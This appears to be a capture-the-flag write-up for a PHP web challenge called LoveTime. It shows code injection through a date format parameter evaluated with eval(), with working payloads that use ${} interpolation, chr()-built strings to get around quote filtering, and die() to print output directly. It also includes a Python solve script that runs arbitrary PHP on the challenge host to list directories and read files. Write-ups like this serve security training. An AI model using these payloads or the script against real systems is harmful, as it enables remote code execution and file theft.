LoveTime
LoveTime
Platform: taipanbyte | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-22 | Status: Solved Techniques: arbitrary_code_execution_via_eval_format_string, chr_string_construction_to_bypass_quote_restrictions, die_to_bypass_date_output_mangling, php_variable_interpolation_in_double_quoted_string, scandir_directory_enumeration_for_nonstandard_flag_filename
Summary
Task: PHP web app with user-controlled date format parameter processed in eval/double-quoted string context. Solution: PHP ${} variable interpolation for code injection, chr() to bypass quote restrictions, die() to prevent date() from mangling output, scandir() to find non-standard flag filename.
LoveTime — TaipanByte CTF
Description
You'll find love!
A PHP web application at https://lovetime.taipanbyte.ru/ that displays a random future date — supposedly when you'll "find love." The format GET parameter controls the date output format. The app is based on HackTheBox's TimeKORP challenge (same HTML structure, same authors: makelaris, makelarisjr) but with a critical modification: it uses PHP's date() function instead of shell exec("date ...").
Analysis
Reconnaissance
The application is a PHP MVC web app with the following structure:
/models/TimeModel.php— date model (200 OK)/controllers/TimeController.php— controller (200 OK)/views/index.php— view template (200 OK)/Router.php— routing (200 OK)
Server: nginx, PHP 7.4.33. No cookies, no other endpoints. POST/OPTIONS return 405.
Format Parameter Behavior
The format GET parameter (default: r for RFC 2822) is passed to PHP's date() function. Key observations:
- Letters are date format characters:
Y→2026,l→Friday,s→ seconds - Backslash-escaped chars pass through literally:
\c→c - Special characters pass through:
',;,/, space,|,{,} - Random future timestamp: Each request generates a different future date
Ruling Out Command Injection
Unlike the original TimeKORP (which uses exec("date '+" . $format . "' 2>&1")), this app does NOT use shell execution:
- Time-based blind injection (
sleep 5) showed no delay - Command separators (
;,|,`) had no effect - All letter output was consistent with PHP
date()format characters
Key Discovery: PHP Code Injection via ${}
Testing ${phpinfo()} as the format parameter returned a 68KB phpinfo() output — confirming the format string is processed in a double-quoted PHP string context (likely via eval() or similar). This allows PHP variable interpolation via the ${} syntax.
The vulnerable code is likely something like:
php read-only • copy allowedeval('$output = date("' . $format . '", $timestamp);');
When $format contains ${phpinfo()}, PHP evaluates the expression inside ${} during string interpolation.
Quote Restriction
Direct function calls with string arguments (using quotes) caused 0-byte error responses. For example:
${file_get_contents("/flag")}→ 0 bytes (parse error from quotes inside eval'd string)
The workaround: use chr() to build strings character-by-character without quotes.
Output Mangling Problem
Without die(), the expression result is passed to PHP's date() function, which interprets every letter as a date format character:
C→ ISO 8601 date,T→ timezone,F→ month name- The flag
CTF{REDACTED}would be mangled beyond recognition
Solution: wrap the payload in die() to output directly to stdout and halt execution before date() processes the result.
Solution
Step 1: Confirm Code Execution
GET /?format=${phpinfo()}
Returns 68KB phpinfo() output — arbitrary PHP code execution confirmed.
Step 2: Directory Listing
Build the path / using chr(47):
GET /?format=${die(implode(chr(10),scandir(chr(47))))}
This lists the root directory, revealing the flag file is named flagOwIl6 (not the standard /flag).
Step 3: Read the Flag
Build the path /flagOwIl6 using chr() for each character:
GET /?format=${die(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103).chr(79).chr(119).chr(73).chr(108).chr(54)))}
Character mapping:
chr(47)=/chr(102)=fchr(108)=lchr(97)=achr(103)=gchr(79)=Ochr(119)=wchr(73)=Ichr(108)=lchr(54)=6
Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """ LoveTime — TaipanByte CTF PHP code injection via ${} variable interpolation in date format string. Uses chr() to bypass quote restrictions and die() to bypass date() mangling. """ import requests BASE = "https://lovetime.taipanbyte.ru" def php_string(s): """Build a PHP string expression using chr() calls — no quotes needed.""" return ".".join(f"chr({ord(c)})" for c in s) def execute(code): """Execute arbitrary PHP code via ${} interpolation in format parameter.""" payload = f"${{die({code})}}" r = requests.get(BASE, params={"format": payload}, timeout=15) return r.text # Step 1: Confirm code execution print("[*] Testing phpinfo()...") r = requests.get(BASE, params={"format": "${phpinfo()}"}, timeout=15) print(f" phpinfo() response: {len(r.content)} bytes") # Step 2: List root directory to find flag filename print("[*] Listing / directory...") code = f"implode(chr(10),scandir({php_string('/')}))" listing = execute(code) print(f" Root directory:\n{listing}") # Step 3: Find and read the flag file flag_file = None for line in listing.strip().split("\n"): if "flag" in line.lower(): flag_file = "/" + line.strip() break if flag_file: print(f"[*] Reading {flag_file}...") code = f"file_get_contents({php_string(flag_file)})" flag = execute(code) print(f"[+] FLAG: {flag}") else: print("[-] No flag file found in root directory")